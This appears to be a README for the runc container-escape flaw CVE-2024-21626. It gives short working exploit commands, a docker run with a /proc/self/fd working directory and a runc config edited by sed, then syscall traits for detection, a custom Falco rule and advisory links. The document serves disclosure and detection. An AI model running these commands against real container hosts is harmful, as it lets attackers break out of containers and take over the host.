CVE-2024-21626

For detailed explanation for this vulnerability, plz refer to my article.

Exploit

Exploit via Running a Container

No need to build a custom image, just run a container with -w parameter:

docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm

Exploit via Execing into a Running Container

Exploit via runc itself

~/container/runc/runc --version
docker run --name helper-ctr alpine
docker export helper-ctr --output alpine.tar
mkdir rootfs
tar xf alpine.tar -C rootfs
~/container/runc/runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json
grep cwd config.json
sudo ~/container/runc/runc --log ./log.json run demo

How to detect

The exploits have the following characteristics:

• A container will execve(2) a process with a special working directory which starts with /proc/self/fd/.
• A container will create symbolic links via symlink(2) or symlinkat(2) with a special target directory link which starts with /proc/self/fd/.
• A container will open files via open(2), openat(2) or openat2(2) with filenames like /proc/\d+/cwd/.*.

Leaky vessels dynamic detector from synk

https://github.com/snyk/leaky-vessels-dynamic-detector

Falco

Here is the custom Falco rule:

- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL

But filtering false positives with proc.name is not a good idea.

References

• https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv
• https://github.com/opencontainers/runc/commit/8e1cd2f56d518f8d6292b8bb39f0d0932e4b6c2a
• https://github.com/opencontainers/runc/commit/f2f16213e174fb63e931fe0546bbbad1d9bbed6f
• https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48
• https://github.com/opencontainers/runc/commit/ee73091a8d28692fa4868bac81aa40a0b05f9780
• https://access.redhat.com/security/cve/cve-2024-21626
• https://github.com/snyk/leaky-vessels-dynamic-detector
• https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/
• https://nvd.nist.gov/vuln/detail/CVE-2024-21626
• https://github.com/snyk/leaky-vessels-dynamic-detector